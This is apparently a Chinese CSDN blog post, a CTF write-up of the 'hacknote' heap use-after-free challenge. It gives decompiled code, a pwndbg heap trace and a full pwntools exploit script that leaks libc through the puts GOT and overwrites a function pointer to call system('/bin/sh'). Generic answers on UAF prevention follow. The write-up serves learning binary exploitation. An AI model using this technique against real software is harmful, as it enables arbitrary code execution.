use-after-free漏洞-hacknote

本文详细解析了一个经典的Use-after-free漏洞,涉及程序中未正确释放内存的情况。通过main函数的流程和del_note、print_note、add_note函数中的内存操作,展示了内存泄露及利用的潜在风险,包括内存块释放后未置NULL导致的UAF问题。通过实验验证,演示了如何利用这个漏洞进行攻击和修复措施。
摘要由CSDN通过智能技术生成

hacknote

经典的use-after-free漏洞。

原理

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

题目分析

main主体

  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 4u);
      choise = atoi(&buf);
      if ( choise != 2 )
        break;
      del_note();
    }
    if ( choise > 2 )
    {
      if ( choise == 3 )
      {
        print_note();
      }
      else
      {
        if ( choise == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( choise != 1 )
        goto LABEL_13;
      add_note();
    }
  }

del_note

unsigned int del_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[v1] )
  {
√   free(*((void **)notelist[v1] + 1));
√   free(notelist[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

很明显这里存在free之后没有置为null的地方,也即存在uaf漏洞。

print_note

unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[v1] )
    (*(void (__cdecl **)(void *))notelist[v1])(notelist[v1]);
  return __readgsdword(0x14u) ^ v3;
}

add_note

unsigned int add_note()
{
  _DWORD *v0; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( count <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !notelist[i] )
      {
        notelist[i] = malloc(8u);
        if ( !notelist[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)notelist[i] = print_note_content;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = notelist[i];
        v0[1] = malloc(size);
        if ( !*((_DWORD *)notelist[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)notelist[i] + 1), size);
        puts("Success !");
        ++count;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

细节分析

  1. 该程序的数据结构中有申请一个结构体,里面有两个成员,分别存储操纵函数的地址(正常为print_note)、存储字符的地址。

  2. 程序通过一个数组组织数据,数组类型为申请的结构体类型。

  3. 程序中存在一个后门(magic)

  4. del_note中第一个free,free掉存储字符的地址所对应的chunk,后门的free掉该结构体。

    free(*((void **)notelist[v1] + 1));
    free(notelist[v1]);
    
  5. print_note(*(void (__cdecl **)(_DWORD))*(&notelist + v1))(*(&notelist + v1));(此为没导入的样子)中(void (__cdecl **)(_DWORD))表示调用约定。*(&notelist + v1)对应notelist[v1]。方便理解可以直接阅读其汇编代码:

    .text:08048953                 mov     eax, [ebp+var_14]
    .text:08048956                 mov     eax, ds:notelist[eax*4]
    .text:0804895D                 mov     eax, [eax]
    .text:0804895F                 mov     edx, [ebp+var_14]
    .text:08048962                 mov     edx, ds:notelist[edx*4]
    .text:08048969                 sub     esp, 0Ch
    .text:0804896C                 push    edx
    .text:0804896D                 call    eax
    

    为什么这里是拿自己当参数呢?而不是那它的地址+4作为参数呢?这个答案可以去看print_note函数就会有答案。(return puts(*(const char **)(a1 + 4));

简单验证

测试我们的思路,首先申请两个0x20(32)的块,之后将两个free了,在申请一个比原来块小的块(0x8),覆盖写入(cccc),看看输出0号数组目标看看是什么情况。

────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────
   0x804895d <print_note+136>    mov    eax, dword ptr [eax]
   0x804895f <print_note+138>    mov    edx, dword ptr [ebp - 0x14]
   0x8048962 <print_note+141>    mov    edx, dword ptr [edx*4 + 0x804a070]
   0x8048969 <print_note+148>    sub    esp, 0xc
   0x804896c <print_note+151>    push   edx
 ► 0x804896d <print_note+152>    call   eax <0x63636363>
 
   0x804896f <print_note+154>    add    esp, 0x10
   0x8048972 <print_note+157>    nop    
   0x8048973 <print_note+158>    mov    eax, dword ptr [ebp - 0xc]
   0x8048976 <print_note+161>    xor    eax, dword ptr gs:[0x14]
   0x804897d <print_note+168>    je     print_note+175 <print_note+175>
─────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd370 —▸ 0x804b008 ◂— 0x63636363 ('cccc')
01:0004│     0xffffd374 —▸ 0xffffd388 ◂— 0xa30 /* '0\n' */
02:0008│     0xffffd378 ◂— 0x4
03:000c│     0xffffd37c ◂— 0x4
04:0010│     0xffffd380 —▸ 0xffffd3a8 —▸ 0xffff0a33 ◂— 0x0
05:0014│     0xffffd384 ◂— 0x0
06:0018│     0xffffd388 ◂— 0xa30 /* '0\n' */
07:001c│     0xffffd38c ◂— 0xcea11c00
───────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────
 ► f 0 0x804896d print_note+152
   f 1 0x8048ad3 main+155
   f 2 0xf7e13647 __libc_start_main+247
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804b000
Size: 0x11

Free chunk (fastbins) | PREV_INUSE
Addr: 0x804b010
Size: 0x29
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x804b038
Size: 0x11

Free chunk (fastbins) | PREV_INUSE
Addr: 0x804b048
Size: 0x29
fd: 0x804b010

Top chunk | PREV_INUSE
Addr: 0x804b070
Size: 0x20f91
pwndbg> x/40wx 0x804b000
0x804b000:      0x00000000      0x00000011      0x63636363      0x0804b00a
0x804b010:      0x00000000      0x00000029      0x00000000      0x0000000a
0x804b020:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b030:      0x00000000      0x00000000      0x00000000      0x00000011
0x804b040:      0x0804865b      0x0804b008      0x00000000      0x00000029
0x804b050:      0x0804b010      0x0000000a      0x00000000      0x00000000
0x804b060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b070:      0x00000000      0x00020f91      0x00000000      0x00000000
0x804b080:      0x00000000      0x00000000      0x00000000      0x00000000

我们可以看到,我们将原先为0x0804865b复写成了写入的cccc,且后面在原先需要调用的0x0804865b变成了我们的cccc

脚本调试

from pwn import *
from LibcSearcher import *
r=process('./hacknote')
elf=ELF('hacknote')
def addnote(size,content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)

def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))

def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

'''
b *0x080488ae
b *0x08048951
b *0x0804896f
b *0x080487be
'''
if __name__ == '__main__':
    context.log_level="debug"
    put_elf=elf.plt['puts']
    put_got=elf.got['puts']
    pause()
    addnote(0x20,'aaaa')
    addnote(0x20,'bbbb')
    delnote(0)
    delnote(1)
    addnote(0x8,p32(put_elf)+p32(put_got))
    printnote(0)
    r.recvuntil("Index :")
    print('______aaaaaa____')
    put_real_add=u32(r.recv(4))
    print hex(put_real_add)

    libc=LibcSearcher('puts',put_real_add)
    base=put_real_add-libc.dump('puts')
    system_add=libc.dump('system')+base
    bin_sh_str=libc.dump('str_bin_sh')+base

    delnote(2)
    addnote(8,p32(system_add)+p32(bin_sh_str))
    printnote(0)

    r.interactive()
No matched libc, please add more libc or try others
[*] Stopped process './hacknote' (pid 9468)

Libcsearch中没有找到对应的libc,题目典型,主要是理解思路,但是理解即可。

### 回答1: "heap-use-after-free" 是一种常见的内存错误,通常发生在程序试图在释放了一块内存后仍然引用该内存地址的情况下。 在使用堆分配的内存时,如果程序在释放内存后还引用该内存地址,就会导致 "heap-use-after-free" 错误。这可能会导致程序崩溃、数据损坏或安全漏洞。 为了避免 "heap-use-after-free" 错误,程序员应该确保在释放内存后不再使用该内存地址。可以通过将指向已释放内存的指针设置为 NULL 或使用内存分配器函数(如 malloc、calloc、realloc 等)来避免这种错误。另外,一些内存调试工具也可以检测这种错误并提供更多的信息来帮助程序员调试。 ### 回答2: heap-use-after-free是一种常见的堆相关漏洞,它在程序中利用了一个已经被释放的堆内存。当我们释放堆内存后,如果不小心继续使用已经释放的内存,就会导致heap-use-after-free漏洞。 当一个堆内存被释放后,它会返回给堆管理器,可以被重新分配给其他程序使用。然而,如果我们在释放内存后,仍然持有对该内存的指针,并且在后续的代码中使用了该指针,就会造成heap-use-after-free漏洞。 这种错误的使用已经释放的内存可能导致程序的不可预测行为,甚至可以被恶意攻击者利用来执行任意代码。攻击者可以通过控制已释放的内存中的数据来改变程序的执行流程或者读取敏感信息。 为了防止heap-use-after-free漏洞的发生,我们应该遵循一些最佳实践。首先,确保在不再使用堆内存之前将其正确释放。其次,及时将已经释放的指针设置为NULL,以避免误用。此外,使用堆管理器提供的专用函数来分配和释放内存,避免手动管理内存,可以减少这类错误的发生。 最后,漏洞修复是非常重要的。在发现了heap-use-after-free漏洞后,我们应该尽快修复它,以避免潜在的安全问题。修复这类漏洞的方法包括修改程序逻辑、改变内存分配和释放的顺序等。 综上所述,heap-use-after-free是一种常见的堆相关漏洞,它产生于程序中继续使用已经释放的堆内存。为了防止这类漏洞的发生,我们需要注意正确地分配和释放内存,并及时修复已发现的漏洞。 ### 回答3: heap-use-after-free是指在堆上释放了某个内存块,但之后仍然对该内存块进行了访问或操作。这种错误通常发生在程序员没有正确管理内存的情况下。 当释放完一个内存块之后,程序应该立即将指向该内存块的指针置为NULL,以防止错误地访问已经释放的内存块。然而,如果未将指针置为NULL,并继续使用该指针进行读取或写入操作,就会产生heap-use-after-free错误。 这种错误可能导致一些严重的后果。例如,可能会导致程序崩溃、数据损坏,甚至存在潜在的安全风险。因此,程序员在使用堆上分配的内存时,必须遵守正确的内存管理规则,包括正确释放内存并及时将指针置为NULL。 为了避免heap-use-after-free错误,程序员可以采取以下几种措施。首先,尽量使用动态内存分配的高级抽象机制,如智能指针或垃圾回收器,以自动管理内存。其次,当手动管理内存时,要确保正确释放内存并将指针置为NULL。另外,可以使用工具进行内存泄漏检测和动态分析,以及进行严格的代码审查和测试,以提前发现和修复heap-use-after-free错误。 总之,heap-use-after-free是一种内存管理错误,程序员必须小心处理以避免产生严重的后果。正确的内存管理和代码审查是预防这种错误的有效方法。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值